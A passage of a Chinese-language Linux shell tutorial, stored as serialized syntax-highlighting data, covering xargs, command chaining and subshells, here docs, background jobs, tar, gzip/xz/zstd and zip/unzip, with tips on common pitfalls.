shell\n",[331,82550,82551,82553,82555,82557,82559,82561,82563,82565,82567,82569,82571,82573],{"class":333,"line":418},[331,82552,16382],{"class":501},[331,82554,46803],{"class":365},[331,82556,16388],{"class":344},[331,82558,80012],{"class":365},[331,82560,80015],{"class":344},[331,82562,15984],{"class":616},[331,82564,16396],{"class":501},[331,82566,80541],{"class":344},[331,82568,81798],{"class":344},[331,82570,46759],{"class":365},[331,82572,34864],{"class":344},[331,82574,82575],{"class":1003},"            # -r 空输入不执行（GNU 特性），避免 cmd 空跑\n",[331,82577,82578,82580,82583],{"class":333,"line":427},[331,82579,80740],{"class":501},[331,82581,82582],{"class":344}," --show-limits",[331,82584,82585],{"class":1003},"           # 查 ARG_MAX；超限时报 Argument list too long\n",[11,82587,82588,82589,82592,82593,82595,82596,82598,82599,655,82601,4813,82603,66109,82611,161],{},"xargs 与 ",[22,82590,82591],{},"-exec … +"," 的取舍：两者都能批量；",[22,82594,79672],{}," 更直白、不用考虑管道，",[22,82597,80740],{}," 更灵活（能在中间做 ",[22,82600,17339],{},[22,82602,66355],{},[17,82604,82605,82606,655,82608,82610],{},"只要文件名可能带空格或换行，就必须用 ",[22,82607,80744],{},[22,82609,80747],{}," 这一对",[22,82612,82613],{},"find -exec",[53,82615,82617],{"id":82616},"_4-与子-shell","4. && 、|| 、; 与子 shell",[308,82619,82621],{"className":3902,"code":82620,"language":3904,"meta":314,"style":314},"nginx -t && systemctl reload nginx             # && 前者成功才跑后者——改完配置先验证\nsystemctl is-active app || systemctl restart app   # || 前者失败才跑后者\ncd \u002Ftmp ; make                                 # ; 无条件依次执行（脚本里危险，见踩坑）\nlong_task &                                    # & 后台执行；关终端会收到 SIGHUP\n( cd \u002Ftmp && make )                            # 子 shell：里面的 cd 不影响当前目录\n{ cmd1; cmd2; } > log                          # 分组但同 shell（变量能保留）；{ 后有空格、要带 ;\necho $(date +%F)                               # 命令替换：$() 可嵌套，新代码一律用它\ntime make -j4                                  # 统计耗时（bash 内建的 time 更准，-p 给 POSIX 格式）\n",[22,82622,82623,82640,82660,82674,82685,82704,82727,82744],{"__ignoreMap":314},[331,82624,82625,82627,82629,82631,82633,82635,82637],{"class":333,"line":334},[331,82626,15379],{"class":501},[331,82628,48230],{"class":344},[331,82630,34829],{"class":337},[331,82632,74862],{"class":501},[331,82634,58954],{"class":365},[331,82636,58949],{"class":365},[331,82638,82639],{"class":1003},"             # && 前者成功才跑后者——改完配置先验证\n",[331,82641,82642,82644,82647,82649,82651,82653,82655,82657],{"class":333,"line":341},[331,82643,74862],{"class":501},[331,82645,82646],{"class":365}," is-active",[331,82648,18152],{"class":365},[331,82650,1341],{"class":616},[331,82652,37081],{"class":501},[331,82654,53174],{"class":365},[331,82656,18152],{"class":365},[331,82658,82659],{"class":1003},"   # || 前者失败才跑后者\n",[331,82661,82662,82664,82666,82669,82671],{"class":333,"line":357},[331,82663,3936],{"class":344},[331,82665,57990],{"class":365},[331,82667,82668],{"class":337}," ; ",[331,82670,82368],{"class":501},[331,82672,82673],{"class":1003},"                                 # ; 无条件依次执行（脚本里危险，见踩坑）\n",[331,82675,82676,82679,82682],{"class":333,"line":371},[331,82677,82678],{"class":501},"long_task",[331,82680,82681],{"class":337}," &                                    ",[331,82683,82684],{"class":1003},"# & 后台执行；关终端会收到 SIGHUP\n",[331,82686,82687,82690,82692,82694,82696,82698,82701],{"class":333,"line":384},[331,82688,82689],{"class":337},"( ",[331,82691,3936],{"class":344},[331,82693,57990],{"class":365},[331,82695,34829],{"class":337},[331,82697,82368],{"class":501},[331,82699,82700],{"class":337}," )                            ",[331,82702,82703],{"class":1003},"# 子 shell：里面的 cd 不影响当前目录\n",[331,82705,82706,82708,82711,82713,82716,82719,82721,82724],{"class":333,"line":397},[331,82707,32348],{"class":337},[331,82709,82710],{"class":501},"cmd1",[331,82712,620],{"class":337},[331,82714,82715],{"class":501},"cmd2",[331,82717,82718],{"class":337},"; } ",[331,82720,42343],{"class":616},[331,82722,82723],{"class":337}," log                          ",[331,82725,82726],{"class":1003},"# 分组但同 shell（变量能保留）；{ 后有空格、要带 ;\n",[331,82728,82729,82731,82734,82736,82738,82741],{"class":333,"line":418},[331,82730,49056],{"class":344},[331,82732,82733],{"class":337}," $(",[331,82735,39549],{"class":501},[331,82737,81418],{"class":365},[331,82739,82740],{"class":337},")                               ",[331,82742,82743],{"class":1003},"# 命令替换：$() 可嵌套，新代码一律用它\n",[331,82745,82746,82748,82751],{"class":333,"line":427},[331,82747,39567],{"class":616},[331,82749,82750],{"class":337}," make -j4                                  ",[331,82752,82753],{"class":1003},"# 统计耗时（bash 内建的 time 更准，-p 给 POSIX 格式）\n",[11,82755,82756,82759,82760,161],{},[22,82757,82758],{},"$()"," 与反引号功能基本相同，但反引号内部的反斜杠和嵌套容易出错，新代码一律 ",[22,82761,82758],{},[53,82763,82765],{"id":82764},"_5-here-doc-here-string","5. here doc \u002F here string",[308,82767,82769],{"className":3902,"code":82768,"language":3904,"meta":314,"style":314},"cat > \u002Ftmp\u002Frun.sh \u003C\u003C'EOF'     # here doc：把多行喂给命令的 stdin\n#!\u002Fbin\u002Fbash\nset -euo pipefail\ncd \u002Fsrv\u002Fapp && make deploy\nEOF\n\nwc -c \u003C\u003C\u003C \"hello world\"       # here string：单行输入，等价 echo \"abc\" | wc -c\n\nsudo tee \u002Fetc\u002Fprofile.d\u002Fjava.sh >\u002Fdev\u002Fnull \u003C\u003C'EOF'    # \u003C\u003C'EOF' 原样不展开变量\nexport JAVA_HOME=\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17\nexport PATH=\"$JAVA_HOME\u002Fbin:$PATH\"\nEOF\n",[22,82770,82771,82789,82794,82799,82804,82808,82812,82827,82831,82852,82857,82862],{"__ignoreMap":314},[331,82772,82773,82775,82777,82780,82783,82786],{"class":333,"line":334},[331,82774,57384],{"class":501},[331,82776,56464],{"class":616},[331,82778,82779],{"class":365}," \u002Ftmp\u002Frun.sh",[331,82781,82782],{"class":616}," \u003C\u003C",[331,82784,82785],{"class":365},"'EOF'",[331,82787,82788],{"class":1003},"     # here doc：把多行喂给命令的 stdin\n",[331,82790,82791],{"class":333,"line":341},[331,82792,82793],{"class":365},"#!\u002Fbin\u002Fbash\n",[331,82795,82796],{"class":333,"line":357},[331,82797,82798],{"class":365},"set -euo pipefail\n",[331,82800,82801],{"class":333,"line":371},[331,82802,82803],{"class":365},"cd \u002Fsrv\u002Fapp && make deploy\n",[331,82805,82806],{"class":333,"line":384},[331,82807,48461],{"class":365},[331,82809,82810],{"class":333,"line":397},[331,82811,998],{"emptyLinePlaceholder":997},[331,82813,82814,82816,82818,82821,82824],{"class":333,"line":418},[331,82815,80796],{"class":501},[331,82817,15990],{"class":344},[331,82819,82820],{"class":616}," \u003C\u003C\u003C",[331,82822,82823],{"class":365}," \"hello world\"",[331,82825,82826],{"class":1003},"       # here string：单行输入，等价 echo \"abc\" | wc -c\n",[331,82828,82829],{"class":333,"line":427},[331,82830,998],{"emptyLinePlaceholder":997},[331,82832,82833,82835,82837,82840,82842,82845,82847,82849],{"class":333,"line":439},[331,82834,37063],{"class":501},[331,82836,53153],{"class":365},[331,82838,82839],{"class":365}," \u002Fetc\u002Fprofile.d\u002Fjava.sh",[331,82841,56464],{"class":616},[331,82843,82844],{"class":365},"\u002Fdev\u002Fnull",[331,82846,82782],{"class":616},[331,82848,82785],{"class":365},[331,82850,82851],{"class":1003},"    # \u003C\u003C'EOF' 原样不展开变量\n",[331,82853,82854],{"class":333,"line":450},[331,82855,82856],{"class":365},"export JAVA_HOME=\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17\n",[331,82858,82859],{"class":333,"line":456},[331,82860,82861],{"class":365},"export PATH=\"$JAVA_HOME\u002Fbin:$PATH\"\n",[331,82863,82864],{"class":333,"line":775},[331,82865,48461],{"class":365},[11,82867,82868,82871,82872,82875,82876,82878,82879,82882,82883,82886,82887,82890,82891,4813],{},[22,82869,82870],{},"\u003C\u003CEOF","（不带引号）会对内容做变量展开，",[22,82873,82874],{},"\u003C\u003C'EOF'"," 原样保留——写含 ",[22,82877,76390],{}," 的配置文件时用后者。",[22,82880,82881],{},"\u003C\u003C-EOF"," 允许脚本里用 ",[17,82884,82885],{},"Tab"," 缩进（只剥 Tab，不剥空格）。here doc 结束的标记必须",[17,82888,82889],{},"独占一行、顶格、无尾随空格","，否则 Shell 会继续等输入（表现为卡在 ",[22,82892,42343],{},[53,82894,82896],{"id":82895},"_6-后台任务与脱离终端","6. 后台任务与脱离终端",[308,82898,82900],{"className":3902,"code":82899,"language":3904,"meta":314,"style":314},"long_task &                                  # 直接后台；关掉终端就收到 SIGHUP 会死\nnohup long_task > run.log 2>&1 &             # 标准做法：nohup 忽略 SIGHUP\njobs -l                                      # 看后台列表：[1]  28414 Running …\nfg %1                                        # 把 1 号作业调回前台（bg %1 继续后台）；%1 是作业号不是 PID\ndisown -h %1                                 # 已经跑着的任务从当前 Shell 解绑的补救\ntmux new -d -s build 'make deploy'           # 更好的方案：可重连，服务器场景首选\n",[22,82901,82902,82912,82933,82943,82954,82966],{"__ignoreMap":314},[331,82903,82904,82906,82909],{"class":333,"line":334},[331,82905,82678],{"class":501},[331,82907,82908],{"class":337}," &                                  ",[331,82910,82911],{"class":1003},"# 直接后台；关掉终端就收到 SIGHUP 会死\n",[331,82913,82914,82917,82920,82922,82925,82927,82930],{"class":333,"line":341},[331,82915,82916],{"class":501},"nohup",[331,82918,82919],{"class":365}," long_task",[331,82921,56464],{"class":616},[331,82923,82924],{"class":365}," run.log",[331,82926,82259],{"class":616},[331,82928,82929],{"class":337}," &             ",[331,82931,82932],{"class":1003},"# 标准做法：nohup 忽略 SIGHUP\n",[331,82934,82935,82938,82940],{"class":333,"line":357},[331,82936,82937],{"class":344},"jobs",[331,82939,43868],{"class":344},[331,82941,82942],{"class":1003},"                                      # 看后台列表：[1]  28414 Running …\n",[331,82944,82945,82948,82951],{"class":333,"line":371},[331,82946,82947],{"class":344},"fg",[331,82949,82950],{"class":365}," %1",[331,82952,82953],{"class":1003},"                                        # 把 1 号作业调回前台（bg %1 继续后台）；%1 是作业号不是 PID\n",[331,82955,82956,82959,82961,82963],{"class":333,"line":384},[331,82957,82958],{"class":344},"disown",[331,82960,16456],{"class":344},[331,82962,82950],{"class":365},[331,82964,82965],{"class":1003},"                                 # 已经跑着的任务从当前 Shell 解绑的补救\n",[331,82967,82968,82971,82973,82975,82977,82979,82982],{"class":333,"line":397},[331,82969,82970],{"class":501},"tmux",[331,82972,1214],{"class":365},[331,82974,36867],{"class":344},[331,82976,15978],{"class":344},[331,82978,35439],{"class":365},[331,82980,82981],{"class":365}," 'make deploy'",[331,82983,82984],{"class":1003},"           # 更好的方案：可重连，服务器场景首选\n",[11,82986,82987,18283,82990,82993,82994,82997,82998,83000,83001,83004],{},[22,82988,82989],{},"Ctrl-Z",[17,82991,82992],{},"挂起","（SIGTSTP）不是退出，进程还在占内存；忘记处理会留一堆 ",[22,82995,82996],{},"Stopped"," 进程，",[22,82999,82947],{}," 回来或 ",[22,83002,83003],{},"kill %1"," 收掉。",[53,83006,75156],{"id":83007},"踩坑提醒-7",[1773,83009,83010,83028,83037,83056,83067],{},[1662,83011,83012,83013,83016,83017,5160,83019,83021,83022,83025,83026,161],{},"「明明加了 ",[22,83014,83015],{},"2>&1"," 还是没抓到错误」：顺序写反了。",[22,83018,42343],{},[22,83020,83015],{}," 按从左到右解析，",[22,83023,83024],{},"cmd 2>&1 > f"," 里 stderr 指向的是终端的那个 ",[22,83027,7993],{},[1662,83029,83030,5160,83033,83036],{},[22,83031,83032],{},"rm -rf dir && echo done",[22,83034,83035],{},"rm -rf dir; echo done"," 在脚本里的差别可能决定你是否覆盖了错误目录（第二章）。",[1662,83038,83039,14935,83041,83044,83045,83048,83049,83051,83052,83055],{},[22,83040,80740],{},[22,83042,83043],{},"-r"," 时，空输入也会执行一次命令——",[22,83046,83047],{},"find … | xargs rm"," 在极端情况下等价于 ",[22,83050,52134],{}," 无参数（报错），但换成 ",[22,83053,83054],{},"xargs chmod 777"," 就会拿当前目录开刀。",[1662,83057,83058,83059,83062,83063,83066],{},"变量赋值不要留空格：",[22,83060,83061],{},"NAME=deploy"," 正确，",[22,83064,83065],{},"NAME = deploy"," 会被当成「执行名为 NAME 的命令」。",[1662,83068,83069,83070,655,83072,83075,83076,83079,83080,4813],{},"在管道里 ",[22,83071,11541],{},[22,83073,83074],{},"while read"," 循环会跑在子 shell，循环里改的变量出来后消失（bash 4.2+ 可用 ",[22,83077,83078],{},"lastpipe","，或把管道换成重定向 ",[22,83081,83082],{},"done \u003C file",[48,83084,83086],{"id":83085},"九压缩与归档targzipzip","九、压缩与归档：tar、gzip、zip",[11,83088,83089,272,83091,272,83094,83097,83098,83100,83101,83104,83105,655,83108,83100,83111,83114,83115,1677,83117,655,83120,655,83123,83126],{},[22,83090,59013],{},[22,83092,83093],{},".zip",[22,83095,83096],{},".xz"," 三种东西经常被混为一谈：",[22,83099,59002],{}," 负责",[17,83102,83103],{},"打包","（把多个文件合成一个，不改内容），",[22,83106,83107],{},"gzip",[22,83109,83110],{},"xz",[17,83112,83113],{},"压缩","（单流算法）。",[22,83116,59002],{},[22,83118,83119],{},"-z",[22,83121,83122],{},"-j",[22,83124,83125],{},"-J"," 只是顺手帮你调了一下压缩器。",[53,83128,83130],{"id":83129},"_1-tar-的字母到底管什么","1. tar 的字母到底管什么",[57,83132,83133,83145],{},[60,83134,83135],{},[63,83136,83137,83140,83142],{},[66,83138,83139],{},"字母",[66,83141,49671],{},[66,83143,83144],{},"单独用",[79,83146,83147,83163,83176,83190,83204,83218,83240,83252,83269,83285,83301],{},[63,83148,83149,83153,83158],{},[84,83150,83151],{},[22,83152,75307],{},[84,83154,83155,83157],{},[17,83156,75307],{},"reate 创建归档",[84,83159,53522,83160,83162],{},[22,83161,21547],{}," 互斥",[63,83164,83165,83169,83174],{},[84,83166,83167],{},[22,83168,21547],{},[84,83170,9481,83171,83173],{},[17,83172,21547],{},"tract 解包",[84,83175,5122],{},[63,83177,83178,83182,83187],{},[84,83179,83180],{},[22,83181,33113],{},[84,83183,83184,83186],{},[17,83185,33113],{},"able of contents 列内容",[84,83188,83189],{},"不解包先看清单",[63,83191,83192,83196,83201],{},[84,83193,83194],{},[22,83195,66333],{},[84,83197,83198,83200],{},[17,83199,66333],{},"epend 追加（不能压缩）",[84,83202,83203],{},"少用",[63,83205,83206,83210,83215],{},[84,83207,83208],{},[22,83209,12374],{},[84,83211,83212,83214],{},[17,83213,12374],{},"pdate 只追加更新的文件",[84,83216,83217],{},"类似增量备份",[63,83219,83220,83225,83234],{},[84,83221,83222],{},[22,83223,83224],{},"f",[84,83226,83227,83228,83230,83231],{},"归档",[17,83229,83224],{},"ile 名，",[17,83232,83233],{},"必须紧跟文件名",[84,83235,83236,83239],{},[22,83237,83238],{},"-f -"," 表示 stdin\u002Fstdout",[63,83241,83242,83246,83249],{},[84,83243,83244],{},[22,83245,14033],{},[84,83247,83248],{},"verbose 打印过程",[84,83250,83251],{},"看进度用",[63,83253,83254,83258,83266],{},[84,83255,83256],{},[22,83257,51912],{},[84,83259,83260,83261,655,83263,5149],{},"走 gzip（",[22,83262,59013],{},[22,83264,83265],{},".tgz",[84,83267,83268],{},"速度快、体积一般",[63,83270,83271,83276,83282],{},[84,83272,83273],{},[22,83274,83275],{},"j",[84,83277,83278,83279,5149],{},"走 bzip2（",[22,83280,83281],{},".tar.bz2",[84,83283,83284],{},"慢、体积小",[63,83286,83287,83292,83298],{},[84,83288,83289],{},[22,83290,83291],{},"J",[84,83293,83294,83295,5149],{},"走 xz（",[22,83296,83297],{},".tar.xz",[84,83299,83300],{},"最慢、最小，发行版源码包常用",[63,83302,83303,83307,83313],{},[84,83304,83305],{},[22,83306,30],{},[84,83308,83309,83310,5149],{},"按后缀自动选压缩器（",[22,83311,83312],{},"--auto-compress",[84,83314,83315],{},"GNU tar 1.15+ 创建时可用",[53,83317,83319],{"id":83318},"_2-tar-常用写法","2. tar 常用写法",[308,83321,83323],{"className":3902,"code":83322,"language":3904,"meta":314,"style":314},"tar cf app.tar \u002Fsrv\u002Fapp         # 打包不压缩：c 创建、f 后跟归档名\ntar czf app.tar.gz \u002Fsrv\u002Fapp     # 打包 + gzip；验证用 tar tzf app.tar.gz\ntar cJf app.tar.xz \u002Fsrv\u002Fapp     # 打包 + xz：最小、最慢\ntar caf app.tar.xz \u002Fsrv\u002Fapp     # a 按后缀自动选压缩器，不容易打错\n\ntar xzf app.tar.gz -C \u002Fsrv\u002Fapp  # 解包到指定目录：x 解、-C 目标目录（目录需已存在，-C 不会自动建）\ntar tzf app.tar.gz | head       # 解包前先看清单——必须的一步！没有顶层目录的归档（tarbomb）\n                                # 会把一堆文件直接散在当前目录；新版 tar 可用 --one-top-level 自动套一层\ntar xzf app.tar.gz etc\u002Fnginx\u002Fnginx.conf   # 只解一个文件，路径按 tar tzf 里看到的原样写\ntar xzf app.tar.gz -C \u002Ftmp --wildcards 'etc\u002Fnginx\u002F*'   # 只取归档里的某个目录\n\ntar czf app.tgz --exclude='.\u002Fnode_modules' --exclude='*.log' .   # 排除若干：--exclude 必须在创建之前给出\ntar czf app.tgz -X \u002Fsrv\u002Fexclude.txt .                             # 排除清单来自文件，一行一个 glob\nsudo tar xzf app.tar.gz -C \u002F      # 保留权限解包：不加 sudo 时属主会变执行者\ntar czhf a.tgz dir                # -h 把软链接指向的内容打进去（默认只存链接本身）\n",[22,83324,83325,83340,83354,83369,83383,83387,83402,83418,83423,83437,83458,83462,83487,83506,83523],{"__ignoreMap":314},[331,83326,83327,83329,83332,83335,83337],{"class":333,"line":334},[331,83328,59002],{"class":501},[331,83330,83331],{"class":365}," cf",[331,83333,83334],{"class":365}," app.tar",[331,83336,75236],{"class":365},[331,83338,83339],{"class":1003},"         # 打包不压缩：c 创建、f 后跟归档名\n",[331,83341,83342,83344,83346,83349,83351],{"class":333,"line":341},[331,83343,59002],{"class":501},[331,83345,52011],{"class":365},[331,83347,83348],{"class":365}," app.tar.gz",[331,83350,75236],{"class":365},[331,83352,83353],{"class":1003},"     # 打包 + gzip；验证用 tar tzf app.tar.gz\n",[331,83355,83356,83358,83361,83364,83366],{"class":333,"line":357},[331,83357,59002],{"class":501},[331,83359,83360],{"class":365}," cJf",[331,83362,83363],{"class":365}," app.tar.xz",[331,83365,75236],{"class":365},[331,83367,83368],{"class":1003},"     # 打包 + xz：最小、最慢\n",[331,83370,83371,83373,83376,83378,83380],{"class":333,"line":371},[331,83372,59002],{"class":501},[331,83374,83375],{"class":365}," caf",[331,83377,83363],{"class":365},[331,83379,75236],{"class":365},[331,83381,83382],{"class":1003},"     # a 按后缀自动选压缩器，不容易打错\n",[331,83384,83385],{"class":333,"line":384},[331,83386,998],{"emptyLinePlaceholder":997},[331,83388,83389,83391,83393,83395,83397,83399],{"class":333,"line":397},[331,83390,59002],{"class":501},[331,83392,52223],{"class":365},[331,83394,83348],{"class":365},[331,83396,52017],{"class":344},[331,83398,75236],{"class":365},[331,83400,83401],{"class":1003},"  # 解包到指定目录：x 解、-C 目标目录（目录需已存在，-C 不会自动建）\n",[331,83403,83404,83406,83409,83411,83413,83415],{"class":333,"line":418},[331,83405,59002],{"class":501},[331,83407,83408],{"class":365}," tzf",[331,83410,83348],{"class":365},[331,83412,15984],{"class":616},[331,83414,15987],{"class":501},[331,83416,83417],{"class":1003},"       # 解包前先看清单——必须的一步！没有顶层目录的归档（tarbomb）\n",[331,83419,83420],{"class":333,"line":427},[331,83421,83422],{"class":1003},"                                # 会把一堆文件直接散在当前目录；新版 tar 可用 --one-top-level 自动套一层\n",[331,83424,83425,83427,83429,83431,83434],{"class":333,"line":439},[331,83426,59002],{"class":501},[331,83428,52223],{"class":365},[331,83430,83348],{"class":365},[331,83432,83433],{"class":365}," etc\u002Fnginx\u002Fnginx.conf",[331,83435,83436],{"class":1003},"   # 只解一个文件，路径按 tar tzf 里看到的原样写\n",[331,83438,83439,83441,83443,83445,83447,83449,83452,83455],{"class":333,"line":450},[331,83440,59002],{"class":501},[331,83442,52223],{"class":365},[331,83444,83348],{"class":365},[331,83446,52017],{"class":344},[331,83448,57990],{"class":365},[331,83450,83451],{"class":344}," --wildcards",[331,83453,83454],{"class":365}," 'etc\u002Fnginx\u002F*'",[331,83456,83457],{"class":1003},"   # 只取归档里的某个目录\n",[331,83459,83460],{"class":333,"line":456},[331,83461,998],{"emptyLinePlaceholder":997},[331,83463,83464,83466,83468,83471,83474,83477,83479,83482,83484],{"class":333,"line":775},[331,83465,59002],{"class":501},[331,83467,52011],{"class":365},[331,83469,83470],{"class":365}," app.tgz",[331,83472,83473],{"class":344}," --exclude=",[331,83475,83476],{"class":365},"'.\u002Fnode_modules'",[331,83478,83473],{"class":344},[331,83480,83481],{"class":365},"'*.log'",[331,83483,46803],{"class":365},[331,83485,83486],{"class":1003},"   # 排除若干：--exclude 必须在创建之前给出\n",[331,83488,83489,83491,83493,83495,83498,83501,83503],{"class":333,"line":785},[331,83490,59002],{"class":501},[331,83492,52011],{"class":365},[331,83494,83470],{"class":365},[331,83496,83497],{"class":344}," -X",[331,83499,83500],{"class":365}," \u002Fsrv\u002Fexclude.txt",[331,83502,46803],{"class":365},[331,83504,83505],{"class":1003},"                             # 排除清单来自文件，一行一个 glob\n",[331,83507,83508,83510,83512,83514,83516,83518,83520],{"class":333,"line":795},[331,83509,37063],{"class":501},[331,83511,52168],{"class":365},[331,83513,52223],{"class":365},[331,83515,83348],{"class":365},[331,83517,52017],{"class":344},[331,83519,6544],{"class":365},[331,83521,83522],{"class":1003},"      # 保留权限解包：不加 sudo 时属主会变执行者\n",[331,83524,83525,83527,83530,83533,83535],{"class":333,"line":805},[331,83526,59002],{"class":501},[331,83528,83529],{"class":365}," czhf",[331,83531,83532],{"class":365}," a.tgz",[331,83534,78514],{"class":365},[331,83536,83537],{"class":1003},"                # -h 把软链接指向的内容打进去（默认只存链接本身）\n",[53,83539,83541],{"id":83540},"_3-tar-与管道目录到目录的流式搬运","3. tar 与管道：目录到目录的流式搬运",[308,83543,83545],{"className":3902,"code":83544,"language":3904,"meta":314,"style":314},"tar cf - -C \u002Fsrv\u002Fapp . | tar xf - -C \u002Fsrv\u002Fapp-backup    # 目录到目录流式复制，保留权限，不落地中间文件\ntar czf - -C \u002Fsrv app | ssh deploy@backup 'cat > \u002Fbackup\u002Fapp.tgz'   # 跨机实时打包传过去\nssh deploy@server 'tar czf - \u002Fsrv\u002Fapp' | tar xzf - -C \u002Flocal\u002Fbackup  # 反过来，从远端拉一个目录\n",[22,83546,83547,83578,83607],{"__ignoreMap":314},[331,83548,83549,83551,83553,83555,83557,83559,83561,83563,83565,83568,83570,83572,83575],{"class":333,"line":334},[331,83550,59002],{"class":501},[331,83552,83331],{"class":365},[331,83554,63216],{"class":365},[331,83556,52017],{"class":344},[331,83558,75236],{"class":365},[331,83560,46803],{"class":365},[331,83562,15984],{"class":616},[331,83564,52168],{"class":501},[331,83566,83567],{"class":365}," xf",[331,83569,63216],{"class":365},[331,83571,52017],{"class":344},[331,83573,83574],{"class":365}," \u002Fsrv\u002Fapp-backup",[331,83576,83577],{"class":1003},"    # 目录到目录流式复制，保留权限，不落地中间文件\n",[331,83579,83580,83582,83584,83586,83588,83591,83593,83595,83598,83601,83604],{"class":333,"line":341},[331,83581,59002],{"class":501},[331,83583,52011],{"class":365},[331,83585,63216],{"class":365},[331,83587,52017],{"class":344},[331,83589,83590],{"class":365}," \u002Fsrv",[331,83592,18152],{"class":365},[331,83594,15984],{"class":616},[331,83596,83597],{"class":501}," ssh",[331,83599,83600],{"class":365}," deploy@backup",[331,83602,83603],{"class":365}," 'cat > \u002Fbackup\u002Fapp.tgz'",[331,83605,83606],{"class":1003},"   # 跨机实时打包传过去\n",[331,83608,83609,83611,83614,83617,83619,83621,83623,83625,83627,83630],{"class":333,"line":357},[331,83610,79601],{"class":501},[331,83612,83613],{"class":365}," deploy@server",[331,83615,83616],{"class":365}," 'tar czf - \u002Fsrv\u002Fapp'",[331,83618,15984],{"class":616},[331,83620,52168],{"class":501},[331,83622,52223],{"class":365},[331,83624,63216],{"class":365},[331,83626,52017],{"class":344},[331,83628,83629],{"class":365}," \u002Flocal\u002Fbackup",[331,83631,83632],{"class":1003},"  # 反过来，从远端拉一个目录\n",[11,83634,83635,12247,83638,83640,83641,12247,83644,83646,83647,161],{},[22,83636,83637],{},"tar cf -",[22,83639,6659],{}," 是 stdout，",[22,83642,83643],{},"xf -",[22,83645,6659],{}," 是 stdin。这种写法的价值：不产生临时文件、能跨过空间不足的目标盘、管道里还能插一层 ",[22,83648,83107],{},[53,83650,83652],{"id":83651},"_4-gzipbzip2xzzstd-单文件压缩器","4. gzip、bzip2、xz、zstd —— 单文件压缩器",[308,83654,83656],{"className":3902,"code":83655,"language":3904,"meta":314,"style":314},"gzip -9 app.log        # 压缩并替换原文件：-1 最快、-9 最小（默认 6）；-k 保留原文件\ngunzip app.log.gz      # 解压（等价 gzip -d）；解压后 .gz 消失\nbzip2 -9 file          # 更高压缩、更慢，大文件慢到不可用\nxz -9e file            # 当前通用最优：-9e 额外努力；解压很快\nzstd -19 file          # 现代首选（快 + 小），服务器未必装，Alpine 仓库有\nzcat app.log.gz        # 不解压直接看\nzgrep -h 'ERROR' \u002Fvar\u002Flog\u002F*.gz   # 不解压直接搜——查历史日志必备，-h 去掉文件名前缀\nzless app.log.gz       # 分页看压缩包（less 配了 LESSOPEN 也能直接开 .gz）\n",[22,83657,83658,83670,83681,83693,83705,83718,83728,83748],{"__ignoreMap":314},[331,83659,83660,83662,83665,83667],{"class":333,"line":334},[331,83661,83107],{"class":501},[331,83663,83664],{"class":344}," -9",[331,83666,75768],{"class":365},[331,83668,83669],{"class":1003},"        # 压缩并替换原文件：-1 最快、-9 最小（默认 6）；-k 保留原文件\n",[331,83671,83672,83675,83678],{"class":333,"line":341},[331,83673,83674],{"class":501},"gunzip",[331,83676,83677],{"class":365}," app.log.gz",[331,83679,83680],{"class":1003},"      # 解压（等价 gzip -d）；解压后 .gz 消失\n",[331,83682,83683,83686,83688,83690],{"class":333,"line":357},[331,83684,83685],{"class":501},"bzip2",[331,83687,83664],{"class":344},[331,83689,10499],{"class":365},[331,83691,83692],{"class":1003},"          # 更高压缩、更慢，大文件慢到不可用\n",[331,83694,83695,83697,83700,83702],{"class":333,"line":371},[331,83696,83110],{"class":501},[331,83698,83699],{"class":344}," -9e",[331,83701,10499],{"class":365},[331,83703,83704],{"class":1003},"            # 当前通用最优：-9e 额外努力；解压很快\n",[331,83706,83707,83710,83713,83715],{"class":333,"line":384},[331,83708,83709],{"class":501},"zstd",[331,83711,83712],{"class":344}," -19",[331,83714,10499],{"class":365},[331,83716,83717],{"class":1003},"          # 现代首选（快 + 小），服务器未必装，Alpine 仓库有\n",[331,83719,83720,83723,83725],{"class":333,"line":397},[331,83721,83722],{"class":501},"zcat",[331,83724,83677],{"class":365},[331,83726,83727],{"class":1003},"        # 不解压直接看\n",[331,83729,83730,83733,83735,83737,83740,83742,83745],{"class":333,"line":418},[331,83731,83732],{"class":501},"zgrep",[331,83734,16456],{"class":344},[331,83736,80838],{"class":365},[331,83738,83739],{"class":365}," \u002Fvar\u002Flog\u002F",[331,83741,18020],{"class":344},[331,83743,83744],{"class":365},".gz",[331,83746,83747],{"class":1003},"   # 不解压直接搜——查历史日志必备，-h 去掉文件名前缀\n",[331,83749,83750,83753,83755],{"class":333,"line":427},[331,83751,83752],{"class":501},"zless",[331,83754,83677],{"class":365},[331,83756,83757],{"class":1003},"       # 分页看压缩包（less 配了 LESSOPEN 也能直接开 .gz）\n",[11,83759,83760,83762,83763,83765,83766,83769],{},[22,83761,83732],{}," 处理多个 ",[22,83764,83744],{}," 时按文件名顺序扫，配合 ",[22,83767,83768],{},"ls -r"," 可以从最新往回找，找完立刻停。",[53,83771,83773],{"id":83772},"_5-zip-unzip","5. zip \u002F unzip",[308,83775,83777],{"className":3902,"code":83776,"language":3904,"meta":314,"style":314},"zip -r site.zip dist\u002F          # 压缩目录：-r 递归；-9 最高压缩、-q 安静\nzip -ru site.zip dist\u002F         # -u 只加更新的文件（zip 支持增量更新归档）\nzip -erP 'pass' site.zip dist\u002F # 加密码：传统 ZipCrypto 很弱，敏感数据别用 zip\nunzip -l site.zip              # -l 只列内容不解包\nunzip site.zip -d \u002Fsrv\u002Fapp     # -d 解压到目录；目录不存在会创建（与 tar -C 相反）\nunzip -o site.zip              # -o 全覆盖 \u002F -n 不覆盖——默认会逐个问，脚本里必须指定\nzipinfo -1 site.zip            # 比 unzip -l 灵活：-h 头部、-s 大小列表\nzip -FF broken.zip --out fixed.zip   # 传输截断时抢救\n",[22,83778,83779,83795,83809,83826,83838,83851,83862,83874],{"__ignoreMap":314},[331,83780,83781,83784,83786,83789,83792],{"class":333,"line":334},[331,83782,83783],{"class":501},"zip",[331,83785,81798],{"class":344},[331,83787,83788],{"class":365}," site.zip",[331,83790,83791],{"class":365}," dist\u002F",[331,83793,83794],{"class":1003},"          # 压缩目录：-r 递归；-9 最高压缩、-q 安静\n",[331,83796,83797,83799,83802,83804,83806],{"class":333,"line":341},[331,83798,83783],{"class":501},[331,83800,83801],{"class":344}," -ru",[331,83803,83788],{"class":365},[331,83805,83791],{"class":365},[331,83807,83808],{"class":1003},"         # -u 只加更新的文件（zip 支持增量更新归档）\n",[331,83810,83811,83813,83816,83819,83821,83823],{"class":333,"line":357},[331,83812,83783],{"class":501},[331,83814,83815],{"class":344}," -erP",[331,83817,83818],{"class":365}," 